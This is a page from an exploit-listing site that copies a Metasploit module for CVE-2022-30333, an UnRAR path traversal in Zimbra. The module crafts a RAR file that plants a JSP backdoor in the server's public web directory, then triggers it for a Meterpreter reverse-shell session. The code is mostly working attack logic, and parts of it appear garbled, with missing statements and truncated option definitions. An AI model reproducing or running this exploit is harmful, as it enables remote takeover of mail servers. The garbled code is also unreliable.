Zimbra UnRAR Path Traversal

CVE Category Price Severity
CVE-2022-30333 CWE-22 $5,000 High
Author Risk Exploitation Type Date
Unknown High Remote 2022-08-08
Our sensors found this exploit at:

Below is a copy:

Zimbra UnRAR Path Traversal
# This module requires Metasploit:
# Current source:

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Format::RarSymlinkPathTraversal

  def initialize(info = {})
        'Name' => 'UnRAR Path Traversal in Zimbra (CVE-2022-30333)',
        'Description' => %q{
          This module creates a RAR file that can be emailed to a Zimbra server
          to exploit CVE-2022-30333. If successful, it plants a JSP-based
          backdoor in the public web directory, then executes that backdoor.

          The core vulnerability is a path-traversal issue in unRAR that can
          extract an arbitrary file to an arbitrary location on a Linux system.

          This issue is exploitable on the following versions of Zimbra, provided
          UnRAR version 6.11 or earlier is installed:

          * Zimbra Collaboration 9.0.0 Patch 24 (and earlier)
          * Zimbra Collaboration 8.8.15 Patch 31 (and earlier)
        'Author' => [
          'Simon Scannell', # Discovery / initial disclosure (via Sonar)
          'Ron Bowes', # Analysis, PoC, and module
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2022-30333'],
          ['URL', ''],
          ['URL', ''],
          ['URL', ''],
          ['URL', ''],
          ['URL', ''],
        'Platform' => 'linux',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Targets' => [
          [ 'Zimbra Collaboration Suite', {} ]
        'DefaultOptions' => {
          'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
          'TARGET_PATH' => '../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/',
          'TARGET_FILENAME' => nil,
          'DisablePayloadHandler' => false,
          'RPORT' => 443,
          'SSL' => true
        'Stance' => Msf::Exploit::Stance::Passive,
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2022-06-28',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]

      ['FILENAME', [ false, 'The file name.', 'payload.rar']),

        # Separating the path, filename, and extension allows us to randomize the filename'TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - "../../").']),'TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: <random>.jsp).']),

      ['SYMLINK_FILENAME', [ false, 'The name of the symlink file to use (must be 12 characters or less; default: random)']),'TRIGGER_PAYLOAD', [ false, 'If set, attempt to trigger the payload via an HTTP request.', true ]),

        # Took this from multi/handler'ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions.', 0 ]),'CheckInterval', [ true, 'The number of seconds to wait between each attempt to trigger the payload on the server.', 5 ])

  # Generate an on-system filename using datastore options
  def generate_target_filename
    if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp')
      print_Warning('TARGET_FILENAME does not end with .jsp, was that intentional?')

    File.join(datastore['TARGET_PATH'], datastore['TARGET_FILENAME'] || "#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp")

  # Normalize the path traversal and figure out where it is relative to the web root
  def zimbra_get_public_path(target_filename)
    # Normalize the path
    normalized_path ='/opt/zimbra/data/amavisd/tmp', target_filename)).cleanpath

    # Figure out where it is, relative to the webroot
    webroot ='/opt/zimbra/jetty_base/webapps/zimbra/')
    relative_path = normalized_path.relative_path_from(webroot)

    # Hopefully, we found a path from the webroot to the payload!
    if relative_path.to_s.start_with?('../')
      return nil


  def exploit
    print_status('Encoding the payload as a .jsp file')
    payload = Msf::Util::EXE.to_jsp(generate_payload_exe)

    # Create a file
    target_filename = generate_target_filename
    print_status("Target filename: #{target_filename}")

      rar = encode_as_traversal_rar(datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..12), target_filename, payload)
    rescue StandardError => e
      fail_with(Failure::BadConfig, "Failed to encode RAR file: #{e}")


    print_good('File created! Email the file above to any user on the target Zimbra server')

    # Bail if they don't want the payload triggered
    return unless datastore['TRIGGER_PAYLOAD']

    # Get the public path for triggering the vulnerability, terminate if we
    # can't figure it out
    public_filename = zimbra_get_public_path(target_filename)
    if public_filename.nil?
      print_warning('Could not determine the public web path, disabling payload triggering')


    interval = datastore['CheckInterval'].to_i
    print_status("Trying to trigger the backdoor @ #{public_filename} every #{interval}s [backgrounding]...")

    # This loop is mostly from `multi/handler`
    stime = Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i
    timeout = datastore['ListenerTimeout'].to_i
    loop do
      break if session_created?
      break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i)

      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(public_filename)

      unless res
        fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload')


Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.